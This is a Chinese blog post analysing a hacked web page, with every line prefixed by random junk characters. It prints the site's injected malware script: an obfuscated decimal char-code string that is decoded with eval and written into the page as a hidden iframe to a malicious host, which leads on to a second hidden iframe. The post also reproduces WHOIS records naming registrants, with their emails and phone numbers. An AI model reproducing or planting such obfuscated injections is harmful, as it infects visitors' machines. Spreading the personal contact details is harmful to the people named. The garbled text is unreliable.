首发在我的博客里面，
`33h4G /V&$SRdL* http://www.areway.cn/?p=175 -R6z/P (} ?*}V>h 8m) Z(Q?epyT 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
p?Yovckm &Hh%pY" <script>t=’60,105,102,114,97,109,101,
yDy3;*lE 32,115,114,99,61,104,116,116,112,58,47,47,
27,WP-qie 102,114,101,101,46,117,45,117,117,117,46,99,
U
R@'J@V#: 110,47,101,114,114,111,114,46,104,116,109,
2! &:V] 32,119,105,100,116,104,61,49,48,48,32,104,
9O}YtX2 101,105,103,104,116,61,48,62,60,47,105,102,
sVh!5fby& 114,97,109,101,62′;
gI\J sN t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
QD"V=}'? Q@]#fW\Y <script>t=’60,105,102,114,97,109,101,32,115,
M%9PVePOe 114,99,61,104,116,116,112,58,47,47,102,114,
k}jH 101,101,46,117,45,117,117,117,46,99,110,47,
~!)_3o 101,114,114,111,114,46,104,116,109,32,119,
: 2?i9F0_ 105,100,116,104,61,49,48,48,32,104,101,105,
/ 6L\`\g 103,104,116,61,48,62,60,47,105,102,114,97,
;O{AYF?,N 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
.b noK document.write(t);</script>
CXA) Zl5# fyQAQZT <html xmlns=”
=>ph \ http://www.w3.org/1999/xhtml -Frx {3 “>
G]q6Ika <head>
~>#=$#V <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
:Q&8DC#] <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
J0|/g2%0 <title>首页 - 爱生活家庭网
q/%f2U%4: 6S`eN\s 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
9^Wj< 转换字符串后的大概内容是（谁点击后果自付）：
CE*@CkC0z <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
M^g" U ` %&z9^}Vd[ 查询玉米u-uuu.cn的详细信息：
,ci
tzh Domain Name: u-uuu.cn
JrCm >0g ROID: 20070901s10001s64972306-cn
Fz>J7(Y.j Domain Status: ok
dc%+ f Registrant Organization: 王雷
$ !KV] ] Registrant Name: 王雷
T4\, b Administrative Email:
czlovexs@126.com trgj]|?M Sponsoring Registrar: 北京万网志成科技有限公司
DSET!F;PG Name Server:ns.yovole.com
Kw-E%7gh4c Name Server:ns1.yovole.com
^ 5"s3Qn Registration Date: 2007-09-01 17:54
W@pVP4F0xM Expiration Date: 2008-09-01 17:54
2/>AmVM 最后PING了一下地址 都没有什么….
,v)@&1Wh: .sjM$#V= 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
z@<`] <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
0v',+- <script language=”javascript” src=”
&XgB-}^: http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script ,{:5Z:<| >
Fwho.R-. 这个玉米应该有可能是木马作者的：
- Z6ot{% foafau.info的详细信息：
\Sg&Qv` Access to INFO WHOIS information is provided to assist persons in
' +' determining the contents of a domain name registration record in the
u49/LtB\ Afilias registry database. The data in this record is provided by
hc~--[1c: Afilias Limited for informational purposes only, and Afilias does not
Hh54&YKZ guarantee its accuracy. This service is intended only for query-based
m 0un=>{ access. You agree that you will use this data only for lawful purposes
6 !b9 6bV and that, under no circumstances will you use this data to: (a) allow,
6,s@>8n enable, or otherwise support the transmission by e-mail, telephone, or
\ zgRz O'N facsimile of mass unsolicited, commercial advertising or solicitations
gpE5ua& to entities other than the data recipient’s own existing customers; or
o t-!_w< (b) enable high volume, automated, electronic processes that send
$ IB@|n queries or data to the systems of Registry Operator, a Registrar, or
"R):B~8|H{ Afilias except as reasonably necessary to register domain names or
O!/J2SfuDH modify existing registrations. All rights reserved. Afilias reserves
bO^%#<7 the right to modify these terms at any time. By submitting this query,
=_L"x~0I- you agree to abide by this policy.
1Qf5H!5vx Domain ID:D22418703-LRMS
Mg f80r= Domain Name:FOAFAU.INFO
&)\0mpLK9 Created On:20-Nov-2007 16:05:42 UTC
JJ7-$h'0q Last Updated On:20-Nov-2007 16:05:44 UTC
QD / | zi Expiration Date:20-Nov-2008 16:05:42 UTC
("H:T?4Qs Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
!;fkc0&! Status:CLIENT DELETE PROHIBITED
P1z6 sG G Status:CLIENT RENEW PROHIBITED
!|Vjv}UO Status:CLIENT TRANSFER PROHIBITED
u%h]k ,(E Status:CLIENT UPDATE PROHIBITED
|h6)p;`gc Status:TRANSFER PROHIBITED
qj/ 66ak Registrant ID:GODA-040110615
Ct"h.rD ] Registrant Name:liu hong
L>pP3[~DV Registrant Organization:
6>bKlYl&9 Registrant Street1:beijing
0g`W Re Registrant Street2:
1V JE+3 Registrant Street3:
,n&Dg58K Registrant City:beijing
G 7zfyw}W Registrant State/Province:
C "hc.A&4 Registrant Postal Code:100000
gKS^-X{x
Registrant Country:CN
tTQ>pg1{qh Registrant Phone:+86.860108888777
T[ky7\ Registrant Phone Ext.:
/mqEc9sq, Registrant FAX:
SU
H^ ]4> Registrant FAX Ext.:
S}*#$naK Registrant Email:bbbshiji@163.com
CEI#x~Oq Admin ID:GODA-240110615
MO/l(wO Admin Name:liu hong
I#$u(2.H Admin Organization:
uQpV1o5iA Admin Street1:beijing
?uh7m 2l0D Admin Street2:
V&\ZqgDF Admin Street3:
k]I<% Admin City:beijing
t {x&|%u Admin State/Province:
l^"gpO${K Admin Postal Code:100000
T[ mTA>d Admin Country:CN
sowkxw.^Q Admin Phone:+86.860108888777
PJkEBdM . Admin Phone Ext.:
o7hjx hmC Admin FAX:
))306*X\ Admin FAX Ext.:
o.y4&bC14; Admin Email:bbbshiji@163.com
NhpGa@[D Billing ID:GODA-340110615
n;2W=N?y Billing Name:liu hong
&w LI:x5 Billing Organization:
s_E iA _ Billing Street1:beijing
{^$rmwN Billing Street2:
eQzSWn[ Billing Street3:
JX>_ imo
Billing City:beijing
_gw~A {O Billing State/Province:
_(oJ8h( Billing Postal Code:100000
kdg Q -UN$ Billing Country:CN
3#5sj > Billing Phone:+86.860108888777
lC^q}Bh: Billing Phone Ext.:
VI37 Billing FAX:
$Fr$9 jq& Billing FAX Ext.:
Eepy%-\ Billing Email:bbbshiji@163.com
-C.eXR{s Tech ID:GODA-140110615
O:k@'& Tech Name:liu hong
]6 }|X#_ Tech Organization:
F<G.!Y8!& Tech Street1:beijing
z[CCgs&vqe Tech Street2:
`[CXxp Tech Street3:
C2DNyMu Tech City:beijing
H-0d eJ[> Tech State/Province:
]TD]
Tech Postal Code:100000
vW YN?"d Tech Country:CN
hM+nA::w Tech Phone:+86.860108888777
s )_sLt8? Tech Phone Ext.:
9SMM%(3, r Tech FAX:
u3c e\ Tech FAX Ext.:
Etn]e;z4 Tech Email:bbbshiji@163.com
!K6: W1 Name Server:NS27.DOMAINCONTROL.COM
W99Fb+$I Name Server:NS28.DOMAINCONTROL.COM
E~{-RZNK Name Server:
/:C"n|P7Z Name Server:
j3A+:KDn3n Name Server:
/I".n] Name Server:
Neey myW Name Server:
KHdj#3<AR Name Server:
%~$4[,= Name Server:
[=.. #y!U Name Server:
2u#{K9g Name Server:
+O9l@X$l= Name Server:
X @r5^A[9 Name Server:
PvKe|In( rpy`Wz/[ 接着下载每个文件里面的代码：
S E%i@} 一步一步看..
Gvj@?62 
>TK`s@jdSV 
[o> /2 
pE15[fJ` 
hLJO\=0rJz 
yh lZdF 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
